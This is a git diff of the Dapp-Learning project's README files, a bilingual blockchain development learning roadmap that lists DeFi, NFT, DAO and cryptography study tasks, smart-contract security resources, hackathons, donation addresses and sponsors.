+11. [Perpetual Protocol](https://www.chainnews.com/articles/163436212237.htm)⌛
+12. [Sushi](https://docs.sushi.com/) ✅
+13. [OPYN](https://v2.opyn.co/)⌛
+14. [Alchemix](https://github.com/alchemix-finance/alchemix-protocol) ✅
+15. [AMPL](https://roninchow.gitbook.io/ampleforth-cn/technology) [👉 认领这个 Task](https://github.com/rebase-network/Dapp-Learning/issues/new)
+16. [RAI](defi/RAI/)⌛
+17. [DYDX](https://dydx.exchange/)[👉 认领这个 Task](https://github.com/rebase-network/Dapp-Learning/issues/new)
+18. [INDEX](https://mp.weixin.qq.com/s/PXOY3G6AIbhzRUptjYoWIw)[👉 认领这个 Task](https://github.com/rebase-network/Dapp-Learning/issues/new)
+19. [DODO](https://dodoex.github.io/docs/zh/docs/tradeApi) [👉 认领这个 Task](https://github.com/rebase-network/Dapp-Learning/issues/new)
+20. [MakerDao](https://zhuanlan.zhihu.com/p/41889079)⌛
+21. [0x-protocol](defi/0x-protocol/README.md) [👉 认领这个 Task](https://github.com/rebase-network/Dapp-Learning/issues/new)
+22. [Bancor](https://bancor.network/)⌛
+23. [Set](https://www.tokensets.com/)
+24. [Dhedge](https://docs.dhedge.org/dhedge-protocol/managing-on-v2)
+25. [Element](https://app.element.fi/fixedrates)
+
+![Defi-Roadmap](./docs/imgs/Defi-Roadmap.png)
+
+## NFT 进阶
+
+- 1. [OpenSea](nft/opensea/readme.md) [👉 认领这个 Task](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/new)
+- 2. [aavegotchi](https://aavegotchi.com/) [👉 认领这个 Task](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/new)
+- 3. [Loot NFT Distribute](nft/loot-nft/README.md)
+- 4. [Rarible](https://docs.rarible.org/overview/union/)
+- 5. [Zora](https://docs.zora.co/)
+- 6. [Alchemy](https://www.alchemy.com/nft-api)
+
+## DAO 进阶
+
+- 1. [Aragon](dao/Aragon/readme.md)
+- 2. Augur [👉 认领这个 Task](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/new)
+- 3. [DAOHaus](https://daohaus.club/)
+- 4. [DAOstack](https://daostack.io/)  [👉 认领这个 Task](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/new)
+- 5. [Gnosis](https://github.com/gnosis)[👉 认领这个 Task](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/new)
+
+## Crypto 进阶
+
+请先阅读书籍：
+[《图解密码技术》](https://book.douban.com/subject/26822106/)
+项目列表：
+
+- 01.[ECC](./crypto/ECC)
+- 02.[PLONK](./crypto/PLONK)
+- 03.[tornado](https://medium.com/taipei-ethereum-meetup/tornado-cash-%E5%AF%A6%E4%BE%8B%E8%A7%A3%E6%9E%90-eb84db35de04)
+- 04.[zk_snark](https://arxiv.org/pdf/1906.07221.pdf)
+- 05.[js crypto](https://github.com/fireship-io/node-crypto-examples)
+  [👉 认领这个 Task](https://github.com/Dapp-Learning-DAO/Dapp-Learning/issues/new)
+- [MINA](https://minaprotocol.com/)
+- [ZETH](https://github.com/clearmatics/zeth)
+
+## 智能合约安全
+
+1. 常用安全工具
+
+- [Slither](https://github.com/crytic/slither)
+- [Mythril](https://github.com/ConsenSys/mythril)
+- [Securify](https://github.com/eth-sri/securify2)
+
+2. CTF 训练营
+
+- [Ethernaut](https://ethernaut.openzeppelin.com/)
+- [Damn-Vulnerable-Defi](https://github.com/OpenZeppelin/damn-vulnerable-defi/blob/master/contracts/DamnValuableToken.sol) | [题解](security/Damn-Vulnerable-DeFi-wp.md)
+- [Paradigm-ctf](https://github.com/paradigm-operations/paradigm-ctf-2021)
+- [Smart Contract CTF](https://blockchain-ctf.securityinnovation.com)
+
+3. 安全开发实践
+
+- [Solidity 安全开发实践](https://github.com/slowmist/Knowledge-Base/blob/master/translations/solidity-security-comprehensive-list-of-known-attack-vectors-and-common-anti-patterns_zh-cn.md)
+
+4. 学习资源合集
+
+- [Awesome Blockchain Security](https://github.com/xxxeyJ/Awesome-Blockchain-Security)
+- [Immunefi 学习资源](https://immunefi.com/learn/)
+
+## Cryptocurrency Jobs Websites
+
+推荐一些比较好cryptocurrency jobs网站
+
+- https://cryptocurrencyjobs.co/
+- https://angel.co/jobs
+- https://www.paradigm.xyz/opportunities/
+- https://web3.career/
+- https://portfoliojobs.a16z.com/jobs?markets=Crypto
+
+## Hackathons
+
+参与黑客松增加实践经验，可参与有：
+
+- [Gitcoin](https://gitcoin.co/hackathon/)
+- [boilerplate](https://github.com/ethereum-boilerplate/ethereum-boilerplate)
+- [Immunefi 漏洞赏金平台](https://immunefi.com/)
+- [Code4rena 漏洞赏金平台](https://code4rena.com/)
+
+## 如何参与以及DAO治理
+
+新人如何参与到我们项目，请参考链接 [如何参与](./docs/dao.md)
+
+## 项目生态
+
+Dapp-Learning 有系列衍生项目及共同维护项目, 参考 [相关项目](./docs/relative-projects.md) 详细了解 Dapp-Learning 项目生态.
+
+## 常见问题
+
+测试币申请，安装和使用问题，请参考链接 [常见问题](./docs/TROUBLE_SHOOTING.md)
+
+## 社区捐助
+
+欢迎感兴趣的小伙伴参与共建，开源项目维护不易，我们欢迎捐助。
+gitcoin grant地址： [Dapp-Learning gitcoin grant](https://gitcoin.co/grants/3414/dapp-learning-developer-group-1)
+
+捐助地址：
+
+- 以太坊主网/zkSync/Arbitrum：
+  0x1F7b953113f4dFcBF56a1688529CC812865840e1
+- Polygon[多签钱包](https://app.safe.global/matic:0x2A6D09B3b11E5455a37F907f2ec885E0Be704779 ): 0x2A6D09B3b11E5455a37F907f2ec885E0Be704779
+
+**polygon网络上我们已生成多签钱包，由核心贡献者管理**
+
+我们会议DAO形式治理项目，定期按 PR 提交记录分配资金给开发者，同时项目会给PR贡献者发放nft作为纪念奖品。
+
+## 合作伙伴
+
+<br>
+<div align="left">
+  <a href="https://www.ethereum.cn/">
+    <img align="top" src="./docs/imgs/partners/ECN-logo.png" />
+  </a>
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  <a href="https://www.ethplanet.org/">
+    <img align="top" src="./docs/imgs/partners/ethplanet-logo.png" />
+  </a>
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  <a href="https://learnblockchain.cn/">
+    <img align="top" src="./docs/imgs/partners/learnblockchain-logo.png" />
+  </a>
+</div>
+<br>
+<div align="left">
+  <a href="https://thublockchain.org/">
+    <img align="top" src="./docs/imgs/partners/THUBA-logo.png" />
+  </a>
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  <a href="#">
+    <img align="top" src="./docs/imgs/partners/PKU-logo.png" />
+  </a>
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  &nbsp;&nbsp;
+  <a href="https://btcu.tech/">
+    <img align="top" src="./docs/imgs/partners/BTCU-logo.png" />
+  </a>
+</div>
+<br>
+<br>
+
+## 赞助伙伴
+
+感谢以下组织对本开源项目的无偿捐助(排名不分先后)。
+
+<br>
+<div align="left">
+  <a href="https://ethereum.foundation/" style="display: inline-block; ">
+    <img align="top" src="./docs/imgs/sponsor-partners/ethereum-foundation-logo.png" />
+  </a>&nbsp;&nbsp;&nbsp;&nbsp;
+  <a href="https://www.optimism.io/">
+    <img align="top" src="./docs/imgs/sponsor-partners/OP-logo.png" />
+  </a>&nbsp;&nbsp;&nbsp;&nbsp;
+  <a href="https://www.starknet.io/">
+    <img align="top" src="./docs/imgs/sponsor-partners/starknet-logo.png" />
+  </a>&nbsp;&nbsp;&nbsp;&nbsp;
+  <a href="https://scroll.io/">
+    <img align="top" src="./docs/imgs/sponsor-partners/Scroll-logo.png" />
+  </a>
+</div>
+<div align="left">
+  <a href="https://www.nervos.org/">
+    <img align="top" src="./docs/imgs/sponsor-partners/nervos-logo.png" />
+  </a>&nbsp;&nbsp;&nbsp;&nbsp;
+  <a href="https://t.me/planckeropencommunity/">
+    <img align="top" src="./docs/imgs/sponsor-partners/plancker-logo.png" />
+  </a>&nbsp;&nbsp;&nbsp;&nbsp;
+  <a href="https://degate.com/">
+    <img align="top" src="./docs/imgs/sponsor-partners/Degate-logo.png" />
+  </a>&nbsp;&nbsp;&nbsp;&nbsp;
+  <a href="https://loopring.org/">
+    <img align="top" src="./docs/imgs/sponsor-partners/Loopring-logo.png" />
+  </a>
+</div>
+<div align="left">
+  <a href="https://snzholding.com/">
+    <img align="top" src="./docs/imgs/sponsor-partners/SNZ-logo.png" />
+  </a>&nbsp;&nbsp;&nbsp;&nbsp;
+  <a href="https://www.bing-ventures.com/">
+    <img align="top" src="./docs/imgs/sponsor-partners/BingVentures-logo.png" />
+  </a>&nbsp;&nbsp;&nbsp;&nbsp;
+  <a href="https://drklab.net/">
+    <img align="top" src="./docs/imgs/sponsor-partners/DRK-lab-logo.png" />
+  </a>&nbsp;&nbsp;&nbsp;&nbsp;
+  <a href="https://capital.hashkey.com/en/">
+    <img align="top" src="./docs/imgs/sponsor-partners/Hashkey-logo.png" />
+  </a>
+</div>
+<div align="left">
+  <a href="https://eth-store.w3eth.io/">
+    <img align="top" src="./docs/imgs/sponsor-partners/EthStorage-logo.png" />
+  </a>&nbsp;&nbsp;&nbsp;&nbsp;
+  <a href="https://bingx.com/en-us/">
+    <img align="top" src="./docs/imgs/sponsor-partners/BingX-logo.png" />
+  </a>
+  <a href="https://mapprotocol.io/">
+    <img align="top" src="./docs/imgs/sponsor-partners/MapProtocol-logo.png" />
+  </a>&nbsp;&nbsp;&nbsp;&nbsp;
+  <a href="https://minaprotocol.com/">
+    <img align="top" src="./docs/imgs/sponsor-partners/Mina-logo.png" />
+  </a>
+</div>
+<br>
+
+## 贡献者
+
+<div align="center">
+  <h4 align="center">
+    感谢 Dapp Learning 的贡献者们
+  </h4>
+  <a href = "https://github.com/Dapp-Learning-DAO/Dapp-Learning/graphs/contributors">
+    <img src = "https://contrib.rocks/image?repo=Dapp-Learning-DAO/Dapp-Learning&max=200"/>
+  </a>
+</div>
+
+<br>
+声明：DappLearning是非营利学习型组织，目前没有参与任何商业行为或为商业项目、机构背书。
diff --git a/README.md b/README.md
index cfb7cdc7f..5e5997c6e 100644
--- a/README.md
+++ b/README.md
@@ -1,204 +1,462 @@
-# Rebase Dapp Courses
-
-本项目适合零基础开发者入门区块链 DAPP 开发，了解和开发 **DeFi, NFT, DAO, CRYPTO** 项目。
-
-主要工具是 web3.js（hardhat), web3.py (Brownie) ，我们选取主流技术和项目作为研究对象，可以认领待完成的任务或者自由添加自己感兴趣的项目。
-项目分基础组件任务卡和项目任务卡，组件任务卡是基本工具组件的了解和集成，项目任务卡是主流 DeFi, NFT, DAO 的典型项目。
-愿景是给 Rebase 社区初级开发者一个可执行且最简的区块链 DAPP 学习路线图，给进阶开发者一个可以交流和协作的平台。
-任务类型涵盖面广泛，实属黑客马拉松必备工具。
-
-## 基础知识
-
-**建议开发者先阅读[《精通以太坊》](https://github.com/inoutcode/ethereum_book)**
-
-- 以太坊原理书：https://ethbook.abyteahead.com/howto.html
-- 以太坊开发工具汇总：https://learnblockchain.cn/article/2006
-
-## 必备工具清单
-开发前请安装和了解以下工具：
-- metamask（浏览器钱包插件）: https://www.jianshu.com/p/b5b2c05e9090
-导出私钥放到各项目的sk.txt文件里
-- infura（节点服务）: https://infura.io/
-- 测试均连接kovan测试网，kovan测试ETH申请: https://faucet.kovan.network
-- 以太坊区块链浏览器: https://kovan.etherscan.io
-- JSON-PRC接口: https://eth.wiki/json-rpc/API
-- tenderly合约验证 https://dashboard.tenderly.co/explorer
-- remix本地环境 https://zhuanlan.zhihu.com/p/38309494
-
-## 合约参考库及致敬相关项目
-- **https://github.com/liushooter/learn-blockchain/tree/master/learning-solidity-2018**
-（shooter大佬的项目，适合入门solidity）
-
-- **https://github.com/OpenZeppelin/openzeppelin-contracts**
-  (经典合约库)
-- **https://github.com/austintgriffith/scaffold-eth**
-(向此神级项目致敬)
-- **https://github.com/HQ20/contracts**
-- **https://learnblockchain.cn/**
-（很多很棒的教程）
-- **https://live.csdn.net/list/Kevin_M_00**
-（密码学课程）
-- **https://github.com/OffcierCia/DeFi-Developer-Road-Map**
-  （defi教程）
-
-## 基础课程列表(可自由添加任务卡)
-**添加任务卡时请附上相关参考链接**
-- Day-1 web3j-deploy
-- Day-2 web3j-transaction
-- Day-3 web3j-erc20
-- Day-4 web3j-truffle
-- Day-5 ethersjs-erc20
-- Day-6 ethersjs-waffle
-- Day-7 hardhat
-- Day-8 graph
-- Day-9 react（metamask)
-- Day-10 ERC721+ ERC1155 + ipfs
-- Day-11 react + express + hardhat
-- Day-12 Crowdfund
-- Day-13 dex Exchange
-- Day-14 chainlink-api
-- Day-15 nft-blindbox-chainlink-vrf
-- Day-16 nft auction  & exchange
-- Day-17 wallet develop
-- Day-18 web3.py
-- Day-19 brownie
-- Day-20 scaffold-flash-loan &  dex arbitrage
-  - https://github.com/austintgriffith/scaffold-eth
-  - https://soliditydeveloper.com/eip-3156
-  - https://research.nansen.ai/a-deep-dive-into-arbitrage-on-decentralised-exchanges/
-
-- Day-21 scaffold-Lender
-  - https://github.com/austintgriffith/scaffold-eth/tree/defi-rtokens
-  - https://github.com/austintgriffith/scaffold-eth/tree/unifactory
-  - https://github.com/austintgriffith/scaffold-eth/tree/clr-dev
-  - https://medium.com/dapphub/introducing-ds-math-an-innovative-safe-math-library-d58bc88313da
-
-- Day-22 scaffold-zk
-  - https://blog.iden3.io/circom-snarkjs-plonk.html
-
-- Day-23 ERC865 & ERC875
-- Day-24 proxy contract
-  - https://zhuanlan.zhihu.com/p/34690916
-
-- Day-25 multi-sig-wallet
-- Day-26 snapshot
-  - https://www.chainnews.com/articles/038258049958.htm
-  - https://snapshot.org/#/
-- Day-27 Quadratic vote
-  - https://www.chainnews.com/zh-hant/articles/460460084917.htm
-
-- Day-28 optimism layer2
-  - https://community.optimism.io/docs/developers/integration.html#step-1-compiling-contracts
-  - https://medium.com/plasma-group/ethereum-smart-contracts-in-l2-optimistic-rollup-2c1cef2ec537
-  - https://zhuanlan.zhihu.com/p/350541979
-
-- Day-29 matic layer2
-
-- Day-30 zksync layer2
-
-- Day-31  duneanalytics & nansen
-  - https://cloud.tencent.com/developer/article/1754684
-
-- Day-32 JavaScript Cryptography
-  - https://blog.sessionstack.com/how-javascript-works-cryptography-how-to-deal-with-man-in-the-middle-mitm-attacks-bf8fc6be546c
-
-- Day-33 pooltogether
-  - https://pooltogether.com/
-
-- Day-34 vyper
-  - https://vyper.readthedocs.io/en/stable/
-
-- Day-35 Merkel-Patricia Tree(MPT)
-  - https://study.163.com/course/courseLearn.htm?courseId=1209599851#/learn/video?lessonId=1280010943&courseId=1209599851
-
-- Day-36 nft Filecoin
-  - https://www.bilibili.com/video/BV1j5411w7MH
-  - https://pinata.cloud/pinmanager
-  - https://nft.storage
-
-- Day-37 swarm
-  - https://www.chainnews.com/articles/625290542956.htm
-
-- Day-38 Flashbots provider for ethers.js
-  - https://github.com/flashbots/ethers-provider-flashbots-bundle
-
-## 进阶课程(可自由添加项目卡)
-
-此部分针对有一定基础开发者，选取主流优质项目进行源码剖析和 code view。可采用小组协作方式将项目部署至测试网，以此为基础在 Rebase 社区进行分享。大型defi项目新颖且内容庞大，我们建议分工协作方式进行，如一人看白皮书，一人负责前端，一人负责合约，一人负责数据展示。
-开发者可以在开发群里发起项目研究倡议，建立小组，进行协作。此部分建议以 submoudle 方式引入。
-
-## DeFi 进阶
-### Learn-DEFI-XXX
-
-- P1 Uniswap
-  - https://medium.com/@austin_48503/%EF%B8%8F-minimum-viable-exchange-d84f30bd0c90
-  - uniswapV3 https://learnblockchain.cn/article/2357
-
-- P2 Compound
-  - https://learnblockchain.cn/article/1015
-  - https://github.com/compound-developers/compound-supply-examples
-
-- P3 Aave
-  - https://azfuller20.medium.com/lend-with-aave-v2-20bacceedade
-  - https://github.com/austintgriffith/scaffold-eth/blob/lender-swap/packages/hardhat/contracts/AavEth.sol
-
-- P4 SNX
-  - https://github.com/Synthetixio
-
-- P5 Curve
-  - https://curve.fi/files/stableswap-paper.pdf
-  - https://github.com/curvefi/curve-contract/tree/master/contracts
-  - https://curve.fi/files/crypto-pools-paper.pdf
-  - https://github.com/curvefi/curve-crypto-contract/tree/master/contracts/matic
-
-- P6 0x-protocol
-  - https://blog.0xproject.com/
-  - https://github.com/0xProject/0x-protocol-specification/blob/master/v2/v2-specification.md#exchange
-  - https://0x.org/docs/guides/use-0x-api-liquidity-in-your-smart-contracts
-
-- P7 Bancor
-
-- P8 YFI
-
-- P9 AMPL
-
-- P10 DODO
-  - https://dodoex.github.io/docs/zh/docs/DODO-Economics-102
-
-## NFT 进阶
-
-### Learn-NFT-XXX
-- OpenSea
-
-## DAO 进阶
-### Learn-DAO-XXX
-- Aragon
-  - https://github.com/MolochVentures
-  - https://www.subdao.network/
-- Augur
-
-## Crypto 进阶
-### Learn-Crypto-XXX
-
-## 如何参与
-
-- 关注公众号 「Rebase社区」，回复「Rebase Courses」获得 Maintainer @liberhe 联系方式
-- 参与项目的开发者务必保证能够至少每两周提交一个PR
-- 原则上每周一次开发者沟通会议
-- 采用集市开发方式，任何人都可以提交PR，一个链接，一个文档修改均可，无须task完成100%再提交，开发者会一起帮忙完善项目
-- script脚本目录下测试案例保证能在kovan网调试成功，test目录下测试案例连本地节点调试成功
-- 每个项目readme请加上参考链接这一目录，附上任务的相关参考资料
-- solidity 建议0.6以上版本
-
-## 注意事项
-  刚入手项目，可以有四种方式切入：
-  - 1 可以优化之前的项目代码和readme
-  - 2 可以认领未完成任务卡（下方有链接的都是未完成任务卡，完成的任务卡请将参考链接放入对应项目readme下）
-  - 3 可以自由新增任务卡（需附上参考链接）
-  - 4 进阶项目（DEFI，DAO，NFT，CRYPTO）可以在群里发起开发倡议，小组一起研究。
-
-
-## 社区捐助
-  - 欢迎感兴趣的小伙伴一起参与进来，开源项目维护不易，我们欢迎捐助。
-  以太坊地址：0x
-  我们会用多签钱包管理资金，并定期按commit提交记录分配资金给开发者。
\ No newline at end of file
+<div align="center">
+  <img src="./DappLearning-logo.png" style="margin: 0 auto 40px;" />
+  <!-- <h1>Dapp Learning</h1> -->
+  <h4 align="center">
+    Definitive Guide for Decentralized-app(Dapp) Development on Blockchain
+  </h4>
+  <p>Step-by-step Dapp practice through classical projects.</p>
+  <br />
+  <p>
+    <a href="https://github.com/Dapp-Learning-DAO/Dapp-Learning/tree/main/docs/imgs/wechat-group-helper.png"><img alt="Wechat group helper" src="https://img.shields.io/static/v1?&label=&logo=wechat&message=wechat group&color=brightgreen&logoColor=white"></a>
+    <a href="https://twitter.com/Dapp_Learning"><img alt="Twitter Follow" src="https://img.shields.io/twitter/follow/dapp_learning?label=Follow"></a>
+    <a href="https://www.youtube.com/c/DappLearning"><img alt="YouTube Channel Subscribers" src="https://img.shields.io/youtube/channel/subscribers/UCdJKZVxO55N3n2BQYXMDAcQ?style=social"></a>
+    <a href="https://discord.gg/cRYNYXqPeR"><img src="https://img.shields.io/discord/907080577096757279?color=5865F2&logo=discord&logoColor=white&label=discord" alt="Discord server" /></a>
+    <a href="https://t.me/joinchat/48Mp2jy4Yw40MmI1"><img src="https://img.shields.io/badge/telegram-blue?color=blue&logo=telegram&logoColor=white" alt="Telegram group" /></a>
+    <!-- <a href="https://gitcoin.co/grants/3414/dapp-learning-developer-group-1"><img alt="Gitcoin Grants" src="https://img.shields.io/badge/Gitcoin-Grants-yellow"></a> -->
+    <!-- <a href="https://github.com/Dapp-Learning-DAO/Dapp-Learning"><img alt="GitHub contributors" src="https://img.shields.io/github/contributors/Dapp-Learning-DAO/Dapp-Learning"></a> -->
+  </p>
+</div>
+
+
+
+[中文](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/README-CN.md) / English
+## Preface
+
+We are designed for developers to step into blockchain DAPP development, where they can learn **DeFi, NFT, DAO, CRYPTO** projects. We hope we could not only give **junior developers** a feasible and easy-to-use blockchain **DAPP** learning roadmap, but also present **advanced developers** with a platform for communication and cooperation.
+
+We are a decentralized learning group to study the mainstream DAPP projects together and share thoughts every week. The weekly sharing will be recorded and uploaded to  [Youtube](https://www.youtube.com/c/DappLearning/videos).
+
+We adhere to the concept of [open source university](https://dapplearning.org/sharing) and follow DAO's governance. Currently, we are sponsored by [Ethereum foundation](https://esp.ethereum.foundation/en/), and accept grants in [Gitcoin](https://gitcoin.co/grants/3414/dapp-learning-developer-group-1). All the funds will be awarded to whoever makes valuable contributions to us. Please follow us on Twitter [@Dapp_Learning](https://twitter.com/Dapp_Learning) or WeChat Official Account [Welcome to Dapp-Learning](https://mp.weixin.qq.com/s/xcH7b4jVIagoVby9Ci6-kA) to keep track of our latest progress.
+
+We need more builders to help make our community grow -- contributors are welcomed from all backgrounds! Feel free to send us pull requests to set up new tutorials or improve our current tutorial projects. Correcting spelling errors is also  helpful to us 🤗.
+
+Join our developer community by submitting PR or sharing at [dapp learning university](https://dapplearning.org/sharing). Once you submit three PRs, you will be promoted to be a pull request reviewer who could participate in our Dao's governance. Join our [Discord](https://discord.gg/cRYNYXqPeR) or [Telegram](https://t.me/joinchat/48Mp2jy4Yw40MmI1) if you want to communicate  any technical issues  with us.
+For more **project management rules**, please see [how new members participate and project governance rules](https://github.com/Dapp-Learning-DAO/Dapp-Learning/blob/main/docs/dao-en.md). Welcome to join us if you share the same value.
+
+<details>
+<summary>Official links</summary>
+
+- [Github](https://github.com/Dapp-Learning-DAO/Dapp-Learning)
+- [Twitter](https://twitter.com/Dapp_Learning)
+- [Discord](https://discord.gg/cRYNYXqPeR)
+- [Telegram](https://t.me/joinchat/48Mp2jy4Yw40MmI1)
+- [Youtube](https://www.youtube.com/channel/UCdJKZVxO55N3n2BQYXMDAcQ)
+- Wechat Official Account: Dapp Learning
+- [Bilibili](https://space.bilibili.com/2145417872)
+- [notion](https://www.notion.so/dapplearning/Dapp-Learning-DAO-a5f7b5e29bb744578f1c1ce99783cf2d)
+- [Sharing Meeting](https://dapplearning.org/sharing)
+- [Gitcoin](https://gitcoin.co/grants/3414/dapp-learning-developer-group-1)
+- [Project Fund Management](https://app.safe.global/matic:0x2A6D09B3b11E5455a37F907f2ec885E0Be704779/balances)
+- [linktr](https://linktr.ee/dapplearning)
+
+</details>
+
+<details>
+<summary>Technology Stack: </summary>
+
+- `web3.js`
+- `ethers.js (Hardhat)`
+- `web3.py (Brownie)`
+- `Java` (Optional)
+- `Rust` (Optional)
+- `Go` (Optional)
+
+</details>
+
+## Project structure
+The project is divided into two parts: **Basic task** and **Project task**
+- **Basic task**
+Basic tools to familiarize and integrate blockchain development (e.g. ERC standard, Oracle, GRAPH, IPFS)
+- **Project task**
+Case studies of the mainstream DeFi, NFT, Dao and other crypto projects to enlighten developers to deep dive into dapp development. We will organize study groups to discuss and study project together.
+
+## Preparatory Work
+**Ramp up**
+- Developers new to dapp development are strongly encouraged to learn the basics of Ethereum and Solidity before embarking on formal development.
+You can refer to [basic knowledge preparation](./docs/basic-knowledge-en.md) to ramp up.
+
+**Development tool**
+- Sharp tools make good work. Familiarize yourself with basic development tools.
+Refer to [recommended development tools](./docs/develop-tools-en.md) to view the current mainstream blockchain development tools.
+
+**Recommended reading**
+We have collected a list of classic blockchain-related books to help developers know underlying philosophy behind blockchain.
+- *[Sovereign Individuals](https://www.amazon.sg/Sovereign-Individual-Mastering-Transition-Information/dp/0684832720)*,   [Chinese translation download](https://drive.google.com/file/d/1f113cCsSKtH_05S5gJCmoBvqItufH-_j/view?usp=sharing). 
+You can also follow public account [Unknown Scripture](https://mp.weixin.qq.com/mp/homepage?__biz=MzU4NDQwMTc3MQ==&hid=7&sn=124258360d0a530008a41ea32e7c2bf2&scene=1&devicetype=android-29&version=28000b3b&lang=en&nettype=WIFI&ascene=7&session_us=gh_353f7f41a447&wx_header=1).
+- [The Network State](https://thenetworkstate.com), written by Balaji Srinivasan. [Chinese translation download](https://nishino.gitbook.io/wang-luo-guo-jia/).
+
+- *The Austrian School of Thought* is recommended, [Hayek Life introduction](https://mp.weixin.qq.com/s/p1UZdt5BAQVJ3kl_CniwKQ).
+- Series articles [Austrian economics school of thought for blockchain enthusiasts](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzU0ODk1MTE1MA==&action=getalbum&album_id=1986143111768489985&scene=173&from_msgid=2247484102&from_itemidx=1&count=3&nolastread=1#wechat_redirect)
+
+At the same time, feel free to keep expanding this [book list](./docs/books-en.md).
+
+**Cryptographic course**
+
+We have collected some crypto courses from top universities and the Ethereum community to help developers systematically understand blockchain and cryptocurrencies.
+- [MIT Online Course: Blockchain and Money by Prof. Gary Gensler](https://ocw.mit.edu/courses/sloan-school-of-management/15-s12-blockchain-and-money-fall-2018/video-lectures/)
+- [Berkeley Online Course:](https://berkeley-defi.github.io/f21)   [Defi Learning](https://defi-learning.org/)
+- [Stanford Online Course: CS 251 Bitcoin and Cryptocurrencies](https://cs251.stanford.edu/syllabus.html)
+
+We have also organized a translation group to translate MIT course 'blockchain and money' into Chinese, and upload all the chinese note-taking on our WeChat Official Account [Welcome to Dapp-Learning](https://mp.weixin.qq.com/mp/appmsgalbum?action=getalbum&__biz=MzAwNTAxMzMzMA==&scene=1&album_id=2241099480056119298&count=3#wechat_redirect)
+
+If you have other high-quality course recommendations, we hope you can make a suggestion and add it in our course repo: [Recommendations for cryptographic courses](./docs/crypto-course-en.md).
+
+## Basic Tasks
+
+Understand the basic tools and development knowledge of developing DAPP through the following basic tasks.
+For DAPP architecture, please refer to the article--[the difference between Web2.0 and Web3.0 applications from the architectural dimension](https://zhuanlan.zhihu.com/p/414635679?utm_source=wechat_session&utm_medium=social&utm_oi=778564687968092160&s_r=0).
+Learn and run the first 20 tasks locally and upgrade to focus on **project tasks**
+You are welcome to PR improvements to existing tutorial projects or to create more tutorial projects
+
+⬜ Task Not Start
+⌛ Task Processing
+✅ Task Finish
+
+01. [deploy contract with web3.js](basic/01-web3js-deploy) ✅
+02. [create transaction with web3.js](basic/02-web3js-transaction) ✅
+03. [call ERC20 contract with web3.js](basic/03-web3js-erc20) ✅
+04. [truffle](basic/04-web3js-truffle) ✅
+05. [call ERC20 contract with ethers.js](basic/05-ethersjs-erc20) ✅
+06. [test contract with waffle and ethers.js](basic/06-ethersjs-waffle) ✅
+07. [hardhat](basic/07-hardhat) ✅
+08. [graph](basic/08-hardhat-graph) ✅
+09. [react（metamask)](basic/09-hardhat-react) ✅
+10. [ERC721+ ERC1155 + ipfs](basic/10-hardhat-ipfs-erc721) ✅
+11. [react + express + hardhat](basic/11-react-express-hardhat) ✅
+12. [Crowdfund](basic/12-token-crowdfund) ✅
+13. [decentralized exchange](basic/13-decentralized-exchange) ✅
+14. [chainlink-api](basic/14-chainlink-price-feed) ✅
+15. [nft-blindbox-chainlink-vrf](basic/15-nft-blindbox-chainlink-vrf) ✅
+16. [nft auction & exchange](basic/16-nft-auction-exchange) ✅
+17. [wallet development](basic/17-etherjs-wallet-develop) ✅
+18. [web3.py](basic/18-web3py) ✅
+19. [brownie](basic/19-brownie) ✅
+20. [flash-loan](basic/20-flash-loan) ✅
+21. [aave-uni-lender](basic/21-aave-uni-loan) ✅
+22. [zk-snarkjs](basic/22-zk-snarkjs) ✅
+23. [ERC865 & ERC875](basic/23-erc865-and-erc875) ✅
+24. [Upgradeable-contract](basic/24-upgradeable-contract) ✅
+25. [multi-sig-wallet](basic/25-multi-sig-wallet) ✅
+26. [Quadratic vote & Gitcoin](basic/26-quadratic-vote%26gitcoin) ✅
+27. [Arbitrum layer2](basic/27-Arbitrum-layer2) ✅
+28. [Optimism layer2](basic/28-optimism-layer2) ✅
+29. [Polygon(matic) layer2](basic/29-Polygon(matic)-layer2) ✅
+30. [zksync layer2](basic/30-zksync-layer2) ✅
+31. [StarkNet](basic/31-starkNet-layer2) ⌛
+32. [chainlink-keeper](basic/32-chainlink-keeper) ✅
+33. [pooltogether](basic/33-pooltogether) ⌛
+34. [subgraph](basic/34-subgraph) ⬜
+35. [duneanalytics & nansen](basic/35-dune-analytics-nansen) ⬜
+36. [zk-rollup](https://github.com/rollupnc/RollupNC) ✅
+37. [Charm.fi](basic/37-charm.fi) ✅
+38. [alloy-Rust](basic/38-alloy-rust) ✅
+39. [Multicall](basic/39-Multicall) ✅
+40. [Flashbots provider with ethers.js](basic/38-Flashbots-and-Eden) ⬜
+41. [Foundry](basic/41-foundry/README.md)
+42. [Merkle-distributor airdrop](basic/42-merkle-distributor-airdrop)  ✅
+43. [Ethereum Virtual Machine Opcodes](basic/43-EVM) ⌛ 
+44. [JavaScript Cryptography](https://blog.sessionstack.com/how-javascript-works-cryptography-how-to-deal-with-man-in-the-middle-mitm-attacks-bf8fc6be546c) ✅
+45. [Ethereum2.0](basic/45-Ethereum2.0) ⌛
+46. [NFT Floor Perps](https://www.paradigm.xyz/2021/08/floor-perps/) ⬜
+47. [TWAMM: Time-Weighted Average Market Maker](https://www.paradigm.xyz/2021/07/twamm/) ⬜
+48. [ZK Voting](basic/48-ZK-Voting) ⌛
+49. [Account Abstraction](basic/49-Account-Abstraction)  ✅
+50. [solidity security](basic/50-solidity-security)  ✅
+51. [sniper](https://github.com/Supercycled/cake_sniper.git) ⬜
+52. [Governance](https://github.com/withtally/safeguard)  ⬜
+53. [Freelancer's Smart Contract](basic/53-freelancer) ✅
+54. [Cryptovoxels](https://zhuanlan.zhihu.com/p/379249411) ⬜
